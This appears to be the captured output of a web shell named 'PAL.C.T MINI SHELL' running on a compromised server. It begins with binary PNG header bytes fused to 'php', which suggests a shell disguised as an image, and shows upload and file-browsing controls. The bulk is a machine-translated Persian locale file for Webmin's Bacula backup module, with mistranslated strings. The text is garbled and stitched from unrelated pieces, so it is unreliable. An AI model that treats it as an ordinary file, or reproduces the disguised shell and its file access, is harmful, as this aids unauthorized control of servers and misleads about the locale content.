php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/bacula-backup/lang/
upload
files >> //usr/libexec/webmin/bacula-backup/lang/fa.auto

index_echeck=$1 شاید نصب نشده باشد ، یا پیکربندی ماژول <a href='$2'></a> نادرست است.
index_edb=اتصال به بانک اطلاعاتی Bacula انجام نشد:$1 ممکن است تنظیم نشده باشد ، یا پیکربندی ماژول <a href='$2'></a> نادرست است.
index_eng=اتصال به بانک اطلاعاتی گروه Bacula انجام نشد:$1. شاید وجود نداشته باشد ، یا پیکربندی <a href='$2'>ماژول</a> نادرست است.
index_econsole=فرمان کنسول Bacula $1 نمی تواند با مدیر Bacula ارتباط برقرار کند. اطمینان حاصل کنید که گذرواژه در$2 صحیح است.
index_econsole2=دستور کنسول Bacula $1 با یک میزبان معتبر مدیر Bacula تنظیم نشده است. در حال حاضر از$2 استفاده می شود ، که وجود ندارد.
index_fixpass=برای تعمیر رمز عبور کنسول اینجا را کلیک کنید
index_fixaddr=برای تعمیر میزبان Bacula Director اینجا کلیک کنید
index_stop=توقف Bacula
index_stopdesc=برای خاموش کردن فرآیندهای Daemon Bacula که در بالا ذکر شد ، روی این دکمه کلیک کنید.
index_start=شروع Bacula
index_startdesc=برای راه اندازی فرآیندهای Daemon Bacula ذکر شده در بالا ، روی این دکمه کلیک کنید.
index_restart=راه اندازی مجدد Bacula
index_restartdesc=برای متوقف کردن و شروع مجدد فرایندهای Daemon Bacula که در بالا ذکر شد ، روی این دکمه کلیک کنید. این ممکن است لازم باشد برای فعال سازی تنظیمات دستگاه ذخیره سازی.
index_apply=پیکربندی را اعمال کنید
index_applydesc=برای فعال کردن تنظیمات مدیر Bacula که در بالا نشان داده شده است ، روی این دکمه کلیک کنید.
index_boot=شروع در Boot
index_bootdesc=برای کنترل اینکه Bacula در زمان بوت سیستم شروع شود یا خیر ، این گزینه را تغییر دهید.
index_status=وضعیت فرآیند:
index_up=بالا
index_down=پایین
index_return=فهرست ماژول
index_versionbacula=شیرینی$1
index_versionbareos=باروس$1
index_notrun=پشتیبان گیری و سایر عملیات به دلیل پایین آمدن Daemon Directory Bacula نمی توانند انجام شوند.
index_eversion=سیستم شما از Bacula نسخه$2 استفاده می کند ، اما این ماژول Webmin فقط از نسخه های$1 و بالاتر پشتیبانی می کند.
index_dir=پیکربندی مدیر
index_sd=پیکربندی Daemon Storage
index_fd=پیکربندی Daemon File
index_groups=تنظیمات گروه Bacula
index_actions=پشتیبان گیری و بازیابی اقدامات
index_ocmin=مشارکت شده توسط <a href=$2 target=_new>Linmin</a> </a>

connect_emysql=درایور DBI بانک اطلاعات $1 بارگیری نشد
connect_elogin=ورود به پایگاه داده $1:$2 انجام نشد.
connect_equery=به نظر نمی رسد که پایگاه داده$1 دارای جداول Bacula باشد.
connect_equery2=این ممکن است به این دلیل باشد که ماژول SQLite Perl نصب شده بسیار جدید است و از فرمت قدیمی پایگاه داده SQLite قدیمی استفاده شده توسط Bacula پشتیبانی نمی کند.
connect_equery3=به نظر نمی رسد که پایگاه داده$1 دارای جداول گروه OC Bacula باشد.
esql=خطای SQL :$1

check_edir=فهرست تنظیمات Bacula $1 در سیستم شما یافت نشد.
check_ebacula=فرمان کنترل Bacula $1 یافت نشد.
check_econsole=دستور کنسول Bacula $1 یافت نشد.
check_edirector=پرونده پیکربندی مدیر Bacula $1 یافت نشد.
check_eclient=به نظر می رسد این سیستم <a href='$2'>مشتری Bacula</a> است نه یک مدیر.
check_econfigs=هیچ پرونده پیکربندی Bacula در$1 یافت نشد
check_eservers=هیچ گروه سرور Webmin تعریف نشده است
check_engmod=ماژول گروه OpenCountry Bacula نصب نشده است

proc_bacula-sd=نگهدارنده شبح
proc_bacula-fd=پرونده شبح
proc_bacula-dir=Bacula مدیر Daemon
proc_bareos-sd=نگهدارنده شبح
proc_bareos-fd=پرونده شبح
proc_bareos-dir=Bacula مدیر Daemon

stop_err=متوقف نشد Bacula
start_err=Bacula شروع نشد
start_einit=هیچ اسکریپت مبتدی برای$1 یافت نشد
start_erun= $1 : $2 شروع نشد
restart_err=راه اندازی مجدد Bacula انجام نشد
apply_err=پیکربندی انجام نشد
apply_failed=یک خطای پیکربندی تشخیص داده شد
apply_problem=پیکربندی انجام نشد :$1

jobs_title=مشاغل پشتیبان
jobs_none=هنوز هیچ مشاغل پشتیبان تعریف نشده است.
jobs_name=اسم شغل
jobs_deftype=پیش فرض؟
jobs_type=نوع کار
jobs_client=مشتری برای تهیه نسخه پشتیبان
jobs_fileset=پرونده برای تهیه نسخه پشتیبان تنظیم شد
jobs_schedule=برنامه تهیه نسخه پشتیبان
jobs_add=یک کار نسخه پشتیبان جدید اضافه کنید.
jobs_delete=مشاغل انتخاب شده را حذف کنید
jobs_return=لیست مشاغل
jobs_derr=کار حذف نشد

filesets_title=تنظیم پرونده
filesets_none=هنوز مجموعه ای از فایل های پشتیبان تعریف نشده است.
filesets_name=نام مجموعه پرونده
filesets_files=پرونده های موجود
filesets_add=یک مجموعه فایل پشتیبان جدید اضافه کنید.
filesets_delete=مجموعه پرونده های انتخاب شده را حذف کنید
filesets_return=لیست مجموعه فایلها
filesets_derr=مجموعه پرونده ها حذف نشد
filesets_ednone=هیچ یک انتخاب نشده است

fileset_title1=مجموعه پرونده را ایجاد کنید
fileset_title2=تنظیم پرونده را ویرایش کنید
fileset_header=جزئیات فایل پشتیبان تنظیم شده است
fileset_egone=مجموعه فایل دیگر وجود ندارد!
fileset_name=نام مجموعه پرونده
fileset_include=پرونده ها و دایرکتوری ها برای تهیه نسخه پشتیبان
fileset_exclude=پرونده ها و دایرکتوری ها برای پرش
fileset_sig=نوع امضای پرونده
fileset_none=هیچ یک
fileset_md5=MD5
fileset_err=مجموعه فایل ذخیره نشد
fileset_ename=نام مجموعه پرونده موجود نیست
fileset_eclash=پرونده ای با همین نام در حال حاضر وجود دارد
fileset_echild=این مجموعه پرونده نمی تواند حذف شود زیرا در$1 استفاده می شود
fileset_comp=نوع فشرده سازی
fileset_gzipdef=&lt;سطح فشرده سازی پیش فرض&gt;
fileset_lzo=فشرده سازی LZO
fileset_gzip=سطح Gzip$1
fileset_onefs=تهیه نسخه پشتیبان از یک سیستم پرونده محدود است؟

clients_title=مشتریان پشتیبان
clients_none=هنوز هیچ مشتری پشتیبان تعریف نشده است.
clients_name=نام مشتری
clients_address=نام میزبان یا آدرس
clients_catalog=کاتالوگ
clients_add=یک سرویس پشتیبان جدید اضافه کنید.
clients_delete=مشتری های منتخب را حذف کنید
clients_return=لیست مشتری ها
clients_derr=حذف مشتری انجام نشد

client_title1=ایجاد پشتیبان مشتری
client_title2=ویرایش پشتیبان مشتری
client_header=جزئیات مشتری پشتیبان تهیه می شود
client_egone=مشتری دیگر وجود ندارد!
client_name=نام FD مشتری
client_address=نام میزبان یا آدرس IP
client_port=بندر FD Bacula
client_pass=رمز عبور Bacula FD
client_catalog=کاتالوگ استفاده
client_prune=هرس و پرونده ها منقضی شده است؟
client_fileret=فایل های پشتیبان را نگه دارید
client_jobret=مشاغل پشتیبان را حفظ کنید
client_err=ذخیره مشتری پشتیبان انجام نشد
client_ename=نام مشتری نامعتبر یا نامعتبر است
client_eclash=مشتری با همین نام قبلاً وجود دارد
client_epass=رمز عبور موجود نیست
client_eaddress=نام میزبان یا آدرس نامعتبر است
client_eport=پورت FD وجود ندارد یا نامعتبر است
client_efileret=مدت زمان نگهداری پرونده یا نامعتبر است
client_ejobret=دوره نگهداری نامعتبر یا نامعتبر است
client_echild=این سرویس گیرنده را نمی توان حذف کرد زیرا در$1 استفاده می شود
client_status=نمایش وضعیت

job_title1=ایجاد نسخه پشتیبان کار
job_title2=ویرایش نسخه پشتیبان کار
job_header=جزئیات کار پشتیبان گیری
job_name=نام کار پشتیبان
job_enabled=کار پشتیبان گیری فعال شده است؟
job_def=نوع پیش فرض
job_def0=تعریف نهایی پیش فرض
job_def1=کار مستقل
job_def2=پیش فرض ارث از$1
job_type=نوع کار
job_level=سطح پشتیبان گیری
job_client=مشتری برای تهیه نسخه پشتیبان
job_fileset=پرونده برای تهیه نسخه پشتیبان تنظیم شد
job_schedule=تهیه نسخه پشتیبان از برنامه
job_storage=دستگاه ذخیره سازی مقصد
job_pool=استخر حجم
job_messages=مقصد برای پیام ها
job_prority=اولویت تهیه نسخه پشتیبان
job_err=ذخیره نسخه پشتیبان انجام نشد
job_ename=نام شغل نامعتبر یا نامعتبر است
job_eclash=شغلی با همین نام در حال حاضر وجود دارد
job_epriority=شماره اولویت موجود نیست یا نامعتبر است
job_echild=این تعریف شغل پیش فرض را نمی توان حذف کرد زیرا در$1 استفاده می شود
job_run=الان اجرا کن
job_before=فرمان قبل از کار
job_after=فرمان بعد از کار
job_cbefore=دستور قبل از کار (بر روی مشتری)
job_cafter=دستور بعد از کار (روی مشتری)

schedules_title=برنامه های پشتیبان گیری
schedules_none=هنوز هیچ برنامه پشتیبان گیری تعریف نشده است.
schedules_name=نام برنامه
schedules_sched=سطح و زمان را اجرا کنید
schedules_add=یک برنامه پشتیبان جدید اضافه کنید.
schedules_delete=برنامه های انتخاب شده را حذف کنید
schedules_return=لیست برنامه ها
schedules_derr=برنامه ها حذف نشدند

schedule_title1=برنامه پشتیبان تهیه کنید
schedule_title2=برنامه پشتیبان گیری را ویرایش کنید
schedule_header=جزئیات برنامه تهیه نسخه پشتیبان
schedule_name=نام برنامه پشتیبان
schedule_runs=سطح و زمان را اجرا کنید
schedule_level=سطح پشتیبان گیری
schedule_pool=جلد
schedule_times=در بعضی مواقع اجرا کنید
schedule_err=برنامه پشتیبان گیری ذخیره نشد
schedule_ename=نام برنامه نامعتبر یا نامعتبر است
schedule_eclash=برنامه ای با همین نام در حال حاضر وجود دارد
schedule_etimes=تعداد پشتیبان گیری در ردیف$1 وجود ندارد
schedule_echild=این برنامه نمی تواند حذف شود زیرا در$1 استفاده می شود

backup_title=کار نسخه پشتیبان تهیه کنید
backup_header=جزئیات کار پشتیبان گیری
backup_job=کار برای اجرا
backup_jd=$1 (مجموعه پرونده$2 در$3)
backup_wait=منتظر نتایج هستید؟
backup_ok=همین حالا نسخه پشتیبان تهیه کن
backup_run=شروع کار نسخه پشتیبان$1 ..
backup_return=فرم پشتیبان
backup_ejob=.. نتوانستند شغل پیدا کنند!
backup_eok=.. کار شروع نشد
backup_running=.. کار نسخه پشتیبان در حال اجرا است. پس از اتمام ، نتایج زیر نشان داده می شوند ..
backup_running2=.. کار پشتیبان گیری در پس زمینه شروع شده است.
backup_done=.. پشتیبان گیری کامل شد.
backup_failed=.. نسخه پشتیبان با موفقیت کامل نشد. پیغام خطای فوق را برای جزئیات بیشتر بررسی کنید.

gbackup_title=نسخه پشتیبان کار Bacula Group را اجرا کنید
gbackup_run=شروع کار نسخه پشتیبان$1 از$2 مشتری ..
gbackup_on=اجرای کار نسخه پشتیبان در مشتری$1 :
gbackup_header=جزئیات کار پشتیبان گروه Bacula
gbackup_jd=$1 (مجموعه پرونده$2 در گروه$3)

dirstatus_title=وضعیت مدیر
dirstatus_sched=کارهای پشتیبان تهیه شده برنامه ریزی شده
dirstatus_name=اسم شغل
dirstatus_type=تایپ کنید
dirstatus_level=مرحله
dirstatus_date=اجرا در
dirstatus_date2=در آغاز شد
dirstatus_volume=جلد
dirstatus_schednone=در حال حاضر هیچ مشاغل پشتیبان برنامه ریزی نشده است.
dirstatus_id=اجرای شناسه
dirstatus_status=وضعیت فعلی
dirstatus_run=مشاغل پشتیبان گیری در حال اجرا
dirstatus_runnone=هیچ مشاغل پشتیبان گیری در حال حاضر اجرا نشده است.
dirstatus_done=کارهای پشتیبان گیری انجام شد
dirstatus_bytes=اندازه
dirstatus_files=فایل ها
dirstatus_status2=وضعیت
dirstatus_donenone=هیچ کار پشتیبان گیری انجام نشده است.
dirstatus_cancel=مشاغل منتخب را لغو کنید
dirstatus_refresh=تازه کردن لیست

clientstatus_title=وضعیت مشتری
clientstatus_err=واکشی وضعیت از $1 : $2 انجام نشد
clientstatus_msg=وضعیت از $1 : $2 
clientstatus_show=نمایش وضعیت مشتری:
clientstatus_ok=خوب
clientstatus_on=$1 (با$2)

storages_title=ذخیره سازی Daemons
storages_none=هنوز هیچ مأمور ذخیره ای تعریف نشده است.
storages_name=نام ذخیره سازی
storages_address=نام میزبان یا آدرس
storages_device=دستگاه ذخیره سازی
storages_type=نوع رسانه
storages_add=یک شبح ذخیره جدید اضافه کنید.
storages_delete=Daemons ذخیره شده انتخاب شده را حذف کنید
storages_return=لیست مادون های ذخیره سازی
storages_derr=پاک کردن جبهه های ذخیره سازی انجام نشد

storage_title1=Daemon Storage را ایجاد کنید
storage_title2=ویرایش ذخیره سازی Daemon
storage_header=جزئیات شبح ذخیره سازی از راه دور
storage_egone=Daemon ذخیره سازی دیگر وجود ندارد!
storage_name=نام نمونه‌ی ذخیره سازی
storage_address=نام میزبان یا آدرس IP
storage_port=پورت SD Bacula
storage_pass=رمز عبور Bacula SD
storage_device=نام دستگاه ذخیره سازی
storage_media=نام نوع رسانه
storage_maxjobs=حداکثر مشاغل همزمان
storage_other=دیگر ..
storage_err=ذخیره شبح ذخیره نشد
storage_ename=نام شبح ذخیره ای وجود ندارد
storage_eclash=یک Daemon ذخیره سازی با همین نام در حال حاضر وجود دارد
storage_epass=رمز عبور موجود نیست
storage_eaddress=نام میزبان یا آدرس نامعتبر است
storage_eport=درگاه SD وجود ندارد یا نامعتبر است
storage_edevice=نام دستگاه ذخیره سازی وجود ندارد
storage_emedia=نام نوع رسانه موجود نیست
storage_emaxjobs=حداکثر شغل همزمان وجود ندارد
storage_echild=این سرویس گیرنده را نمی توان حذف کرد زیرا در$1 استفاده می شود
storage_status=نمایش وضعیت

devices_title=دستگاه های ذخیره سازی
devices_none=هنوز هیچ دستگاه ذخیره ای تعریف نشده است.
devices_name=نام دستگاه
devices_device=پرونده دستگاه یا فهرست
devices_type=نوع رسانه
devices_add=یک دستگاه ذخیره سازی جدید اضافه کنید.
devices_delete=دستگاههای ذخیره شده انتخاب شده را حذف کنید
devices_return=لیست دستگاه های ذخیره سازی
devices_derr=دستگاههای ذخیره سازی حذف نشد

device_title1=دستگاه ذخیره سازی ایجاد کنید
device_title2=دستگاه ذخیره سازی را ویرایش کنید
device_header=جزئیات دستگاه ذخیره فایل
device_egone=دستگاه ذخیره سازی دیگر وجود ندارد!
device_name=نام دستگاه ذخیره سازی
device_device=بایگانی دستگاه یا فهرست
device_media=نام نوع رسانه
device_label=به طور خودکار رسانه را برچسب بزنید؟
device_random=رسانه دسترسی تصادفی؟
device_auto=به طور خودکار سوار می شوید؟
device_removable=رسانه قابل جابجایی؟
device_always=همیشه باز نگه دارید؟
device_err=ذخیره دستگاه ذخیره نشد
device_ename=نام دستگاه ذخیره سازی وجود ندارد
device_eclash=یک دستگاه ذخیره سازی با همین نام در حال حاضر وجود دارد
device_emedia=نام نوع رسانه موجود نیست
device_edevice=دستگاه یا فهرست بایگانی موجود نیست یا نامعتبر است
device_echild=این سرویس گیرنده را نمی توان حذف کرد زیرا در$1 استفاده می شود

storagestatus_title=وضعیت Daemon Storage
storagestatus_err=واکشی وضعیت از $1 : $2 انجام نشد
storagestatus_msg=وضعیت از $1 : $2 
storagestatus_show=نمایش وضعیت شبح ذخیره:
storagestatus_ok=خوب

label_title=جلد برچسب
label_header=جزئیات صدا برای برچسب زدن
label_storage=شبح ذخیره برای برچسب زدن
label_pool=در استخر ایجاد کنید
label_label=نام برچسب جدید
label_ok=حالا برچسب بزنید
label_return=فرم برچسب
label_run=برچسب زدن با$2 بر روی Daemon$1.
label_estorage=.. شبح ذخیره سازی یافت نشد!
label_eexists=.. برچسب مشخص شده از قبل وجود دارد.
label_efailed=.. برچسب زدن انجام نشد! پیام خطای فوق را به همین دلیل بررسی کنید.
label_done=.. برچسب زدن موفقیت آمیز است.
label_epool=.. نمی توان استخر پیدا کرد!
label_err=برچسب شکست خورد
label_elabel=هیچ برچسب وارد نشده است

pools_title=استخرهای جلد
pools_none=هنوز هیچ استخر حجمی تعریف نشده است.
pools_name=نام استخر
pools_type=نوع استخر
pools_reten=دوره نگهداری
pools_add=یک استخر با حجم جدید اضافه کنید.
pools_delete=استخرهای انتخاب شده با حجم را حذف کنید
pools_return=لیست استخرهای حجم
pools_derr=استخرهای حجم حذف نشدند

pool_title1=استخر صدا ایجاد کنید
pool_title2=استخر جلد را ویرایش کنید
pool_header=جزئیات استخر حجم پشتیبان
pool_egone=استخر حجم دیگر وجود ندارد!
pool_name=نام استخر حجم
pool_recycle=بازیافت خودکار حجم ها؟
pool_auto=هرس حجم منقضی شده است؟
pool_any=پشتیبان از هر حجم در استخر؟
pool_reten=دوره حفظ حجم
pool_type=نوع استخر حجم
pool_max=حداکثر کار در هر حجم
pool_unlimited=نامحدود
pool_err=ذخیره دستگاه ذخیره نشد
pool_ename=نام دستگاه ذخیره سازی وجود ندارد
pool_eclash=یک دستگاه ذخیره سازی با همین نام در حال حاضر وجود دارد
pool_echild=این سرویس گیرنده را نمی توان حذف کرد زیرا در$1 استفاده می شود
pool_emax=حداکثر تعداد کارها در هر حجم نامعتبر یا نامعتبر است
pool_ereten=دوره نگهداری نامعتبر یا نامعتبر است
pool_status=نمایش جلد
pool_autolabel=پیشوند جلد خودکار به طور خودکار برچسب
pool_maxvolsize=حداکثر حجم حجم (به عنوان مثال 5G برای 5 گیگ)

poolstatus_title=جلد در استخر
poolstatus_show=نمایش حجم در استخر:
poolstatus_ok=خوب
poolstatus_volumes=جلد در استخر منتخب
poolstatus_name=نام جلد
poolstatus_type=نوع رسانه
poolstatus_first=برای اولین بار استفاده می شود
poolstatus_last=آخرین استفاده
poolstatus_bytes=بایت های نوشته شده
poolstatus_status=حالت پشتیبان گیری
poolstatus_none=در حال حاضر هیچ حجم در این استخر پشتیبان موجود نیست.
poolstatus_never=هرگز
poolstatus_delete=جلدهای منتخب را حذف کنید

dvolumes_err=حذف حجم انجام نشد
dvolumes_enone=هیچ یک انتخاب نشده است
dvolumes_ebacula=خطای باکلا :$1

mount_title=کوه یا Unmount
mount_header=گزینه های ذخیره سازی سوار یا عدم نصب
mount_storage=دستگاه ذخیره سازی
mount_slot=شکاف لودر خودکار
mount_noslot=هیچ یک
mount_slotno=شماره شکاف
mount_mount=ذخیره سازی کوه
mount_unmount=ذخیره سازی غیر Mount
mount_run=حجم نصب در دستگاه ذخیره سازی$1 ..
unmount_run=حجم نصب در دستگاه ذخیره$1 ..
mount_done=.. با موفقیت نصب شد
unmount_done=.. با موفقیت نصب شد.
mount_failed=.. سوار نشد! دلیل خطا در بالا را ببینید.
unmount_failed=.. سازمان ملل متحد انجام نشد! دلیل خطا در بالا را ببینید.
mount_return=فرم سوار شدن
mount_err=دستگاه ذخیره سازی نصب نشد
mount_eslot=شماره حافظه نامعتبر یا نامعتبر است

cancel_err=کار لغو نشد
cancel_enone=هیچ یک انتخاب نشده است

gjobs_title=کارهای پشتیبان گیری Bacula Group
gjobs_none=هنوز هیچ کار پشتیبان گیری از گروه Bacula تعریف نشده است.
gjobs_add=یک کار تهیه پشتیبان جدید گروه Bacula اضافه کنید.
gjobs_delete=مشاغل انتخاب شده را حذف کنید
gjobs_return=لیست مشاغل گروه Bacula
gjobs_derr=کارهای گروه Bacula حذف نشد
gjobs_client=گروه Bacula برای تهیه نسخه پشتیبان

gjob_title1=ایجاد نسخه پشتیبان از کار Bacula Group
gjob_title2=کار نسخه پشتیبان تهیه Bacula Group را ویرایش کنید
gjob_header=جزئیات کار پشتیبان گروه Bacula
gjob_client=گروه Bacula برای تهیه نسخه پشتیبان

groups_title=گروه های Bacula
groups_none=هنوز هیچ گروه Bacula توسط Bacula برای تهیه نسخه پشتیبان انتخاب نشده است.
groups_name=اسم گروه
groups_port=درگاه FD
groups_add=اضافه کردن گروه Bacula:
groups_ok=اضافه کردن
groups_catalog=کاتالوگ
groups_delete=گروه های انتخاب شده Bacula را حذف کنید
groups_return=لیست گروه ها
groups_derr=حذف گروه ها انجام نشد
groups_noadd=هیچ گروه Bacula برای پشتیبان گیری انتخاب نشده است.
groups_info=$1 ($2 عضو)
groups_already=همه گروه های Bacula قبلاً اضافه شده اند.

group_title1=ایجاد گروه Bacula
group_title2=گروه Bacula را ویرایش کنید
group_header=جزئیات مربوط به گروه Bacula که مورد حمایت قرار می گیرد
group_egone=گروه دیگر وجود ندارد!
group_egone2=گروه Bacula دیگر وجود ندارد!
group_name=نام گروه Bacula
group_port=بندر FD Bacula
group_err=ذخیره گروه Bacula انجام نشد
group_eclash=گروهی با همین نام در حال حاضر وجود دارد
group_members=میزبان گروه Bacula

sync_title=هماهنگی گروه Bacula
sync_header=گزینه های هماهنگ سازی مشتری گروه Bacula اتوماتیک
sync_sched=در برنامه همگام سازی کنید؟
sync_schedyes=بله ، در مواقعی که در زیر انتخاب شده است ..
sync_err=ذخیره همگام سازی گروه Bacula انجام نشد

log_create_client=پشتیبان تهیه شده$1 ایجاد شد
log_modify_client=مشتری پشتیبان اصلاح شده$1
log_delete_client=مشتری پشتیبان تهیه شده$1 حذف شد
log_delete_clients=$1 مشتری پشتیبان حذف شد
log_create_fileset=مجموعه پرونده$1 ایجاد شد
log_modify_fileset=مجموعه پرونده اصلاح شده$1
log_delete_fileset=مجموعه پرونده$1 حذف شد
log_delete_filesets=مجموعه پرونده های$1 حذف شد
log_create_job=ایجاد نسخه پشتیبان از$1
log_modify_job=نسخه پشتیبان تهیه اصلاح شده$1
log_delete_job=کار پشتیبان گیری$1 حذف شد
log_delete_jobs=$1 کارهای پشتیبان حذف شد
log_create_schedule=برنامه پشتیبان گیری ایجاد شد$1
log_modify_schedule=برنامه پشتیبان گیری اصلاح شده$1
log_delete_schedule=برنامه تهیه نسخه پشتیبان$1 حذف شد
log_delete_schedules=برنامه پشتیبان$1 حذف شد
log_create_pool=استخر حجم ایجاد شده$1
log_modify_pool=استخر حجم تغییر یافته$1
log_delete_pool=استخر حجم$1 حذف شد
log_delete_pools=استخرهای حجم$1 حذف شدند
log_create_storage=شبح ذخیره سازی$1 ایجاد شد
log_modify_storage=ضریح ذخیره شده$1 تغییر یافته است
log_delete_storage=دکمه ذخیره سازی$1 حذف شد
log_delete_storages=دیمونهای ذخیره شده$1 حذف شد
log_create_device=دستگاه ذخیره سازی$1 ایجاد شد
log_modify_device=دستگاه ذخیره سازی$1 اصلاح شده است
log_delete_device=دستگاه ذخیره سازی$1 حذف شد
log_delete_devices=دستگاههای ذخیره سازی$1 حذف شدند
log_create_group=گروه Bacula $1 ایجاد شد
log_modify_group=گروه Bacula اصلاح شده$1
log_delete_group=گروه Bacula $1 حذف شد
log_delete_groups=$1 گروه باکلولا حذف شد
log_create_gjob=ایجاد نسخه پشتیبان از گروه Bacula$1
log_modify_gjob=کار پشتیبان گیری گروه Bacula اصلاح شده$1
log_delete_gjob=کار پشتیبان گیری گروه Bacula $1 حذف شد
log_delete_gjobs=$1 کارهای پشتیبان گروه Bacula حذف شد
log_create_fdirector=مدیر مدیر Daemon پرونده$1 ایجاد شد
log_modify_fdirector=مدیر مدیر Daemon پرونده اصلاح شده$1
log_delete_fdirector=مدیر مدیر Daemon پرونده$1 حذف شد
log_delete_fdirectors=$1 کارگردانان Daemon پرونده حذف شد
log_create_sdirector=مدیر Daemon ذخیره سازی$1 ایجاد شد
log_modify_sdirector=مدیر Daemon ذخیره سازی اصلاح شده$1
log_delete_sdirector=مدیر Daemon فضای ذخیره‌سازی$1 حذف شد
log_delete_sdirectors=مدیر$1 شبنم ذخیره سازی حذف شد
log_stop=daemons Bacula متوقف شد
log_start=Daemons Bacula را شروع کرد
log_apply=پیکربندی کاربردی
log_restart=دوباره شروع به کار کرده است
log_backup=کار پشتیبان گیری$1 شروع شد
log_gbackup=کار پشتیبان گیری گروه Bacula $1 را شروع کرد
log_label=برچسب ذخیره شده ذخیره شده$1
log_mount=دستگاه ذخیره سازی$1
log_unmount=دستگاه ذخیره نشده نصب نشده$1
log_sync=ذخیره همگام سازی گروه Bacula
log_director=پیکربندی مدیر Bacula جهانی ذخیره شد
log_file=پیکربندی سیمون Bacula پرونده ذخیره شد
log_storagec=تنظیمات شبح ذخیره سازی Bacula ذخیره شد
log_fixpass=رمز عبور برنامه کنسول Bacula ثابت

director_title=پیکربندی مدیر
director_header=گزینه های مدیر جهانی Bacula
director_name=نام کارگردان
director_port=گوش دادن به درگاه
director_jobs=حداکثر مشاغل همزمان
director_messages=مقصد برای پیام ها
director_enone=هیچ پیکربندی مدیر یافت نشد!
director_dir=دایرکتوری کاری Bacula
director_err=تنظیمات مدیر ذخیره نشد
director_ename=نام کارگردانی وجود ندارد یا نامعتبر است
director_eport=شماره پورت موجود نیست یا نامعتبر است
director_ejobs=تعداد مشاغل موجود یا نامعتبر است
director_edir=دایرکتوری کاری موجود نیست

tls_enable=رمزگذاری TLS را فعال کنید؟
tls_require=فقط اتصالات TLS را می پذیرید؟
tls_verify=مشتری های TLS را تأیید کنید؟
tls_cert=پرونده گواهینامه TLS PEM
tls_key=پرونده کلید TLS PEM
tls_cacert=پرونده مجوز TLS PEM
tls_none=هیچ یک
tls_ecert=پرونده گواهی TLS موجود یا غیر موجود است
tls_ekey=پرونده کلید TLS موجود نیست یا وجود ندارد
tls_ecacert=پرونده گواهینامه TLS CA موجود یا غیر موجود است
tls_ecerts=برای فعال کردن TLS ، باید پروانه ، کلید و پرونده های CA مشخص شود

file_title=پیکربندی Daemon File
file_header=گزینه های Daemon پرونده Bacula
file_name=نام نام دامون
file_port=گوش دادن به درگاه
file_jobs=حداکثر مشاغل همزمان
file_dir=دایرکتوری کاری Bacula
file_enone=هیچ پیکربندی Daemon پرونده یافت نشد!
file_err=پیکربندی Daemon پرونده ذخیره نشد
file_ename=نام Daemon پرونده موجود یا نامعتبر است
file_eport=شماره پورت موجود نیست یا نامعتبر است
file_ejobs=تعداد مشاغل موجود یا نامعتبر است
file_edir=دایرکتوری کاری موجود نیست

fdirectors_title=پرونده مدیران Daemon
fdirectors_none=هنوز هیچ مدیری تعریف نشده است.
fdirectors_name=نام کارگردان
fdirectors_pass=گذرواژه پذیرفته شده
fdirectors_add=یک مدیر جدید اضافه کنید.
fdirectors_delete=مدیران منتخب را حذف کنید
fdirectors_return=لیست کارگردانان
fdirectors_derr=حذف کارگردانها انجام نشد

fdirector_title1=File Daemon Director را ایجاد کنید
fdirector_title2=مدیر مدیر Daemon را ویرایش کنید
fdirector_header=جزئیات کنترل از راه دور مدیر
fdirector_egone=مدیر دیگر وجود ندارد!
fdirector_name=نام کارگردان
fdirector_pass=گذرواژه پذیرفته شده
fdirector_monitor=فقط اجازه نظارت بر ارتباط را دارید؟
fdirector_err=ذخیره مدیر Daemon پرونده انجام نشد
fdirector_ename=نام کارگردانی وجود ندارد
fdirector_eclash=کارگردان با همین نام در حال حاضر وجود دارد
fdirector_epass=رمز عبور موجود نیست

sdirectors_title=مدیران Storage Daemon
sdirectors_none=هنوز هیچ مدیری تعریف نشده است.
sdirectors_name=نام کارگردان
sdirectors_pass=گذرواژه پذیرفته شده
sdirectors_add=یک مدیر جدید اضافه کنید.
sdirectors_delete=مدیران منتخب را حذف کنید
sdirectors_return=لیست کارگردانان
sdirectors_derr=حذف کارگردانها انجام نشد

sdirector_title1=مدیر Stemon Daemon را ایجاد کنید
sdirector_title2=مدیر Storage Daemon را ویرایش کنید
sdirector_header=جزئیات کنترل از راه دور مدیر
sdirector_egone=مدیر دیگر وجود ندارد!
sdirector_name=نام کارگردان
sdirector_pass=گذرواژه پذیرفته شده
sdirector_monitor=فقط اجازه نظارت بر ارتباط را دارید؟
sdirector_err=ذخیره مدیر Daemon ذخیره نشد
sdirector_ename=نام کارگردانی وجود ندارد
sdirector_eclash=کارگردان با همین نام در حال حاضر وجود دارد
sdirector_epass=رمز عبور موجود نیست

storagec_title=پیکربندی Daemon Storage
storagec_header=گزینه های Daemon ذخیره سازی Bacula
storagec_name=نام Daemon
storagec_port=گوش دادن به درگاه
storagec_jobs=حداکثر مشاغل همزمان
storagec_enone=هیچ پیکربندی Daemon ذخیره سازی یافت نشد!
storagec_dir=دایرکتوری کاری Bacula
storagec_err=تنظیمات شبح ذخیره سازی ذخیره نشد
storagec_ename=نام شبح ذخیره یا نامعتبر نیست
storagec_eport=شماره پورت موجود نیست یا نامعتبر است
storagec_ejobs=تعداد مشاغل موجود یا نامعتبر است
storagec_edir=دایرکتوری کاری موجود نیست

chooser_title=برنامه را انتخاب کنید
chooser_monthsh=ماه برای اعدام
chooser_months=ماه های سال
chooser_all=همه
chooser_sel=انتخاب شده در زیر ..
chooser_ok=خوب
chooser_timeh=زمان روز اعدام
chooser_time=ساعت و دقیقه
chooser_weekdaysh=روزهای هفته برای اعدام
chooser_weekdays=روزهای هفته
chooser_weekdaynums=تعداد در ماه
chooser_daysh=روزهای اجرای ماه
chooser_days=تاریخ
chooser_err=برنامه انتخاب نشد
chooser_emonths=هیچ ماه انتخاب نشده است
chooser_eweekdays=هیچ روزهای هفته ای انتخاب نشده است
chooser_eweekdaynums=شماره شماره روزهای هفته انتخاب نشده است
chooser_edays=هیچ روز از ماه انتخاب نشده است
chooser_ehour=ساعت مجهول یا نامعتبر روز
chooser_eminute=دقیقه نامعتبر یا نامعتبر است
chooser_emonthsrange=ماههای منتخب باید متناقض باشند
chooser_eweekdaysrange=روزهای منتخب هفته باید متناقض باشد
